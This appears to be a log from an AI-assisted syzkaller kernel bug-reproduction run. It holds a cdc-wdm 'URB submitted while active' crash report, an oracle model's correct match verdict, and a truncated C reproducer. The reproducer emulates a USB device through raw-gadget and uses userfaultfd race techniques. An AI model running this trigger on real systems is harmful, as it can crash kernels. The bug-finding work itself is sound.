[ 68.595842][ T5853] R10: dffffc0000000000 R11: fffffbfff2106d90 R12: dffffc0000000000
[ 68.598580][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.600471][ T5853] R13: ffff888115d552b8 R14: ffff888113ca3c08 R15: 0000000000000cc0
[ 68.603158][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.605130][ T5853] FS: 0000555570a60400(0000) GS:ffff8881a4c6f000(0000) knlGS:0000000000000000
[ 68.608123][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.610049][ T5853] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 68.612452][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.614382][ T5853] CR2: 00007f33f1b12000 CR3: 0000000103f65000 CR4: 0000000000352ef0
[ 68.617108][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.619051][ T5853] Call Trace:
[ 68.620248][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.622161][ T5853] <TASK>
[ 68.623230][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.625247][ T5853] ? _raw_spin_unlock_irq+0x23/0x50
[ 68.627130][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.629060][ T5853] service_outstanding_interrupt+0x155/0x2b0
[ 68.631138][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.633083][ T5853] ? wdm_read+0x831/0xaf0
[ 68.634623][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.636660][ T5853] wdm_read+0x86d/0xaf0
[ 68.638154][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.640105][ T5853] ? __pfx_anon_pipe_write+0x10/0x10
[ 68.641969][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.643925][ T5853] ? __pfx_wdm_read+0x10/0x10
[ 68.645600][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.647498][ T5853] ? __pfx_autoremove_wake_function+0x10/0x10
[ 68.649788][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.651713][ T5853] ? bpf_lsm_file_permission+0x9/0x20
[ 68.653598][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.655618][ T5853] ? security_file_permission+0x75/0x260
[ 68.657611][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.659512][ T5853] ? rw_verify_area+0x24a/0x4c0
[ 68.661210][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.663144][ T5853] ? __pfx_wdm_read+0x10/0x10
[ 68.664824][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.666952][ T5853] vfs_read+0x213/0xa80
[ 68.668410][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.670357][ T5853] ? __pfx_vfs_read+0x10/0x10
[ 68.672043][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.674047][ T5853] ? __fget_files+0x2a/0x420
[ 68.675729][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.677675][ T5853] ? __fget_files+0x2a/0x420
[ 68.679309][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.681185][ T5853] ? __fget_files+0x3a2/0x420
[ 68.682802][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.684690][ T5853] ? __fget_files+0x2a/0x420
[ 68.686333][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.688220][ T5853] ksys_read+0x150/0x270
[ 68.689722][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.691633][ T5853] ? __pfx_ksys_read+0x10/0x10
[ 68.693260][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.695225][ T5853] do_syscall_64+0x166/0x520
[ 68.696846][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.698751][ T5853] ? trace_irq_disable+0x3b/0x140
[ 68.700484][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.702352][ T5853] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 68.704422][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.706386][ T5853] ? clear_bhb_loop+0x70/0xc0
[ 68.708000][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.709871][ T5853] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 68.711869][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.713729][ T5853] RIP: 0033:0x7f33f2b711fe
[ 68.715315][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.717201][ T5853] Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 68.723620][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.725574][ T5853] RSP: 002b:00007fff21170828 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
[ 68.728394][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.730315][ T5853] RAX: ffffffffffffffda RBX: 0000555570a60400 RCX: 00007f33f2b711fe
[ 68.732985][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.734883][ T5853] RDX: 000000000000000a RSI: 00007f33f1b12000 RDI: 0000000000000004
[ 68.737602][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.739474][ T5853] RBP: 0000000000000005 R08: 0000000000000000 R09: 0000000000000000
[ 68.742151][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.744048][ T5853] R10: 0000000000000000 R11: 0000000000000246 R12: 00007fff211708e0
[ 68.746746][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.748622][ T5853] R13: 00007f33f1b12000 R14: 0000000000000005 R15: 00007fff211708c0
[ 68.751262][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.753174][ T5853] </TASK>
[ 68.754273][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.756201][ T5853] Kernel panic - not syncing: kernel: panic_on_warn set ...
[ 68.758648][ T5853] CPU: 0 UID: 0 PID: 5853 Comm: syz-executor370 Not tainted syzkaller #1 PREEMPT(full)
[ 68.761792][ T5853] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 68.765080][ T5853] Call Trace:
[ 68.766200][ T5853] <TASK>
[ 68.767189][ T5853] vpanic+0x56d/0xa60
[ 68.768566][ T5853] ? __pfx__printk+0x10/0x10
[ 68.770123][ T5853] ? __pfx_vpanic+0x10/0x10
[ 68.771653][ T5853] ? is_bpf_text_address+0x292/0x2b0
[ 68.773379][ T5853] ? is_bpf_text_address+0x26/0x2b0
[ 68.775113][ T5853] panic+0xc5/0xd0
[ 68.776368][ T5853] ? __pfx_panic+0x10/0x10
[ 68.777878][ T5853] __warn+0x315/0x4c0
[ 68.779222][ T5853] ? usb_submit_urb+0x79/0x18b0
[ 68.780861][ T5853] ? usb_submit_urb+0x79/0x18b0
[ 68.782483][ T5853] __report_bug+0x276/0x570
[ 68.784030][ T5853] ? usb_submit_urb+0x79/0x18b0
[ 68.785658][ T5853] ? __pfx___report_bug+0x10/0x10
[ 68.787312][ T5853] ? rcu_is_watching+0x16/0xb0
[ 68.788919][ T5853] ? __pfx___up_read+0x10/0x10
[ 68.790542][ T5853] report_bug_entry+0x19b/0x290
[ 68.792171][ T5853] ? usb_submit_urb+0x7c/0x18b0
[ 68.793794][ T5853] ? usb_submit_urb+0x81/0x18b0
[ 68.795432][ T5853] handle_bug+0xce/0x200
[ 68.796834][ T5853] exc_invalid_op+0x1a/0x50
[ 68.798378][ T5853] asm_exc_invalid_op+0x1a/0x20
[ 68.799993][ T5853] RIP: 0010:usb_submit_urb+0x7c/0x18b0
[ 68.801849][ T5853] Code: 4c 89 f0 48 c1 e8 03 80 3c 28 00 74 08 4c 89 f7 e8 d9 60 da fa 49 83 3e 00 74 40 e8 fe 0e 6b fa 48 8d 3d 37 bd 35 09 48 89 de <67> 48 0f b9 3a b8 f0 ff ff ff eb 11 e8 e3 0e 6b fa eb 05 e8 dc 0e
[ 68.808136][ T5853] RSP: 0018:ffffc90003d3fa78 EFLAGS: 00010293
[ 68.810146][ T5853] RAX: ffffffff875af432 RBX: ffff888113ca3c00 RCX: ffff888196764b00
[ 68.812729][ T5853] RDX: 0000000000000000 RSI: ffff888113ca3c00 RDI: ffffffff9090b170
[ 68.815367][ T5853] RBP: dffffc0000000000 R08: ffffffff90836c7f R09: 1ffffffff2106d8f
[ 68.818032][ T5853] R10: dffffc0000000000 R11: fffffbfff2106d90 R12: dffffc0000000000
[ 68.820674][ T5853] R13: ffff888115d552b8 R14: ffff888113ca3c08 R15: 0000000000000cc0
[ 68.823283][ T5853] ? usb_submit_urb+0x72/0x18b0
[ 68.824921][ T5853] ? usb_submit_urb+0x72/0x18b0
[ 68.826544][ T5853] ? _raw_spin_unlock_irq+0x23/0x50
[ 68.828278][ T5853] service_outstanding_interrupt+0x155/0x2b0
[ 68.830286][ T5853] ? wdm_read+0x831/0xaf0
[ 68.831742][ T5853] wdm_read+0x86d/0xaf0
[ 68.833176][ T5853] ? __pfx_anon_pipe_write+0x10/0x10
[ 68.834964][ T5853] ? __pfx_wdm_read+0x10/0x10
[ 68.836503][ T5853] ? __pfx_autoremove_wake_function+0x10/0x10
[ 68.838600][ T5853] ? bpf_lsm_file_permission+0x9/0x20
[ 68.840371][ T5853] ? security_file_permission+0x75/0x260
[ 68.842239][ T5853] ? rw_verify_area+0x24a/0x4c0
[ 68.843882][ T5853] ? __pfx_wdm_read+0x10/0x10
[ 68.845453][ T5853] vfs_read+0x213/0xa80
[ 68.846864][ T5853] ? __pfx_vfs_read+0x10/0x10
[ 68.848435][ T5853] ? __fget_files+0x2a/0x420
[ 68.849991][ T5853] ? __fget_files+0x2a/0x420
[ 68.851536][ T5853] ? __fget_files+0x3a2/0x420
[ 68.853127][ T5853] ? __fget_files+0x2a/0x420
[ 68.854704][ T5853] ksys_read+0x150/0x270
[ 68.856157][ T5853] ? __pfx_ksys_read+0x10/0x10
[ 68.857785][ T5853] do_syscall_64+0x166/0x520
[ 68.859378][ T5853] ? trace_irq_disable+0x3b/0x140
[ 68.861090][ T5853] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 68.863116][ T5853] ? clear_bhb_loop+0x70/0xc0
[ 68.864690][ T5853] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 68.866633][ T5853] RIP: 0033:0x7f33f2b711fe
[ 68.868128][ T5853] Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 68.874564][ T5853] RSP: 002b:00007fff21170828 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
[ 68.877297][ T5853] RAX: ffffffffffffffda RBX: 0000555570a60400 RCX: 00007f33f2b711fe
[ 68.879959][ T5853] RDX: 000000000000000a RSI: 00007f33f1b12000 RDI: 0000000000000004
[ 68.882637][ T5853] RBP: 0000000000000005 R08: 0000000000000000 R09: 0000000000000000
[ 68.885244][ T5853] R10: 0000000000000000 R11: 0000000000000246 R12: 00007fff211708e0
[ 68.887858][ T5853] R13: 00007f33f1b12000 R14: 0000000000000005 R15: 00007fff211708c0
[ 68.890477][ T5853] </TASK>
[ 68.892210][ T5853] Kernel Offset: disabled
[ 68.893666][ T5853] Rebooting in 86400 seconds..
Strace Output:
Crash Report: ------------[ cut here ]------------
URB ffff888113ca3c00 submitted while active
WARNING: drivers/usb/core/urb.c:379 at usb_submit_urb+0x79/0x18b0 drivers/usb/core/urb.c:379, CPU#0: syz-executor370/5853
Modules linked in:
CPU: 0 UID: 0 PID: 5853 Comm: syz-executor370 Not tainted syzkaller #1 PREEMPT(full)
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
RIP: 0010:usb_submit_urb+0x7c/0x18b0 drivers/usb/core/urb.c:379
Code: 4c 89 f0 48 c1 e8 03 80 3c 28 00 74 08 4c 89 f7 e8 d9 60 da fa 49 83 3e 00 74 40 e8 fe 0e 6b fa 48 8d 3d 37 bd 35 09 48 89 de <67> 48 0f b9 3a b8 f0 ff ff ff eb 11 e8 e3 0e 6b fa eb 05 e8 dc 0e
RSP: 0018:ffffc90003d3fa78 EFLAGS: 00010293
RAX: ffffffff875af432 RBX: ffff888113ca3c00 RCX: ffff888196764b00
RDX: 0000000000000000 RSI: ffff888113ca3c00 RDI: ffffffff9090b170
RBP: dffffc0000000000 R08: ffffffff90836c7f R09: 1ffffffff2106d8f
R10: dffffc0000000000 R11: fffffbfff2106d90 R12: dffffc0000000000
R13: ffff888115d552b8 R14: ffff888113ca3c08 R15: 0000000000000cc0
FS: 0000555570a60400(0000) GS:ffff8881a4c6f000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f33f1b12000 CR3: 0000000103f65000 CR4: 0000000000352ef0
Call Trace:
<TASK>
service_outstanding_interrupt+0x155/0x2b0 drivers/usb/class/cdc-wdm.c:509
wdm_read+0x86d/0xaf0 drivers/usb/class/cdc-wdm.c:615
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f33f2b711fe
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fff21170828 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 0000555570a60400 RCX: 00007f33f2b711fe
RDX: 000000000000000a RSI: 00007f33f1b12000 RDI: 0000000000000004
RBP: 0000000000000005 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 00007fff211708e0
R13: 00007f33f1b12000 R14: 0000000000000005 R15: 00007fff211708c0
</TASK>
----------------
Code disassembly (best guess):
0: 4c 89 f0 mov %r14,%rax
3: 48 c1 e8 03 shr $0x3,%rax
7: 80 3c 28 00 cmpb $0x0,(%rax,%rbp,1)
b: 74 08 je 0x15
d: 4c 89 f7 mov %r14,%rdi
10: e8 d9 60 da fa call 0xfada60ee
15: 49 83 3e 00 cmpq $0x0,(%r14)
19: 74 40 je 0x5b
1b: e8 fe 0e 6b fa call 0xfa6b0f1e
20: 48 8d 3d 37 bd 35 09 lea 0x935bd37(%rip),%rdi # 0x935bd5e
27: 48 89 de mov %rbx,%rsi
* 2a: 67 48 0f b9 3a ud1 (%edx),%rdi <-- trapping instruction
2f: b8 f0 ff ff ff mov $0xfffffff0,%eax
34: eb 11 jmp 0x47
36: e8 e3 0e 6b fa call 0xfa6b0f1e
3b: eb 05 jmp 0x42
3d: e8 .byte 0xe8
3e: dc 0e fmull (%rsi)
Other crashes triggered:
------------[ cut here ]------------
URB ffff88818b9a9400 submitted while active
WARNING: drivers/usb/core/urb.c:379 at usb_submit_urb+0x79/0x18b0 drivers/usb/core/urb.c:379, CPU#0: syz-executor178/5841
|
| 454/4 |
2026/09/11 23:53 |
llm |
repro-oracle |
0m
Model:
Tokens:
input: 14018
output: 77
thoughts: 510
Thoughts: **My Analysis of the Kernel Bug Reproduction**
Alright, so my primary task here is to meticulously evaluate the outcome of this kernel bug reproduction attempt. The user has presented me with a specific bug description: `WARNING in service_outstanding_interrupt/usb_submit_urb`. To confirm if the reproduction was successful, I need to compare the provided crash report from the executed test with this description.
Upon reviewing the crash report, I can immediately see a `WARNING: drivers/usb/core/urb.c:379 at usb_submit_urb+0x79/0x18b0`. This is directly followed by a call trace that includes `service_outstanding_interrupt+0x155/0x2b0 drivers/usb/class/cdc-wdm.c:509` and `wdm_read+0x86d/0xaf0 drivers/usb/class/cdc-wdm.c:615`. This sequence of calls, originating from `usb_submit_urb` and propagating through `service_outstanding_interrupt` and `wdm_read`, is precisely what the original bug description indicated. It’s a perfect match.
The crucial detail here is that this wasn't an investigative *probe* attempt; the `IsProbe` flag is explicitly stated as `false`. However, the *reproduction* itself was unequivocally successful, so `Reproduced` is `true`.
Given this perfect alignment between the bug description and the reproduced crash, I need to configure a few specific parameters for the output. First, my `Feedback` needs to be detailed, confirming this exact match. I'll state that the reproducer successfully triggered the expected crash, and that the crash signature precisely aligns with the original bug description, referencing the `WARNING` in `usb_submit_urb` originating from `service_outstanding_interrupt` and `wdm_read`, and confirming that the root cause appears identical.
Next, because `IsProbe` was `false`, `ProbePassed` must also be set to `false`. There's no terminal error to report, so `TerminalError` will remain an empty string. Finally, and most importantly, since the triggered crash matches the expected bug perfectly, `TitleMatches` should be set to `true`.
After confirming these points, I've formulated the JSON output. The `Feedback` will succinctly capture the success and the exact match. `ProbePassed` is `false`, `TerminalError` is `""`, and `TitleMatches` is `true`. It seems straightforward.
|
| 455/4 |
2026/09/11 23:53 |
tool |
set-results |
0m
Args: map[Feedback:The reproducer successfully triggered the expected crash. The crash signature matches the original bug description exactly, with a WARNING in `usb_submit_urb` called from `service_outstanding_interrupt` and `wdm_read`. ProbePassed:false TerminalError: TitleMatches:true]
Results: map[Feedback:The reproducer successfully triggered the expected crash. The crash signature matches the original bug description exactly, with a WARNING in `usb_submit_urb` called from `service_outstanding_interrupt` and `wdm_read`. ProbePassed:false TerminalError: TitleMatches:true]
|
| 456/3 |
2026/09/11 23:54 |
action |
loop-controller |
0m
Results: map[CapabilitiesVerified:true ContinueSignal: EquivalenceAnalysis:The reproducer successfully triggered the expected crash. The crash signature matches the original bug description exactly, with a WARNING in `usb_submit_urb` called from `service_outstanding_interrupt` and `wdm_read`. OracleFeedback:The reproducer successfully triggered the expected crash. The crash signature matches the original bug description exactly, with a WARNING in `usb_submit_urb` called from `service_outstanding_interrupt` and `wdm_read`. ReproC:#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).
static inline double timer_elapsed_sec(struct timespec* start)
{
struct timespec now;
if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
exit(1);
}
return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}
// Initialize a monotonic timer variable.
#define TIMER_START(t) \
struct timespec t; \
if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) { \
perror("clock_gettime(CLOCK_MONOTONIC) start"); \
exit(1); \
}
// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
// or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
// Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
// TIMER_START(start);
// while (TIMER_NOT_EXPIRED(start, 10.0)) {
// // Your race logic here
// }
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[0];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[0];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_raw_event_ext {
struct usb_raw_event inner;
__u8 data[64];
};
struct usb_raw_ep_io_ext {
struct usb_raw_ep_io inner;
__u8 data[256];
};
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.bInterval = 1,
},
};
void init_descriptors() {
dev_desc.bcdUSB = htole16(0x0200);
dev_desc.idVendor = htole16(0x0525);
dev_desc.idProduct = htole16(0xa4a7);
dev_desc.bcdDevice = htole16(0x0100);
conf_desc.conf.wTotalLength = htole16(sizeof(conf_desc));
conf_desc.cdc_hdr.bcdCDC = htole16(0x0110);
conf_desc.ep_in.wMaxPacketSize = htole16(64);
}
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
init_descriptors();
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0UL) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event_ext event;
event.inner.type = 0;
event.inner.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
if (errno == EINTR) continue;
perror("USB_RAW_IOCTL_EVENT_FETCH");
break;
}
if (event.inner.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io_ext io;
io.inner.ep = 0;
io.inner.flags = 0;
io.inner.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.inner.length = sizeof(dev_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &dev_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.inner.length = sizeof(conf_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &conf_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.inner.length = 10;
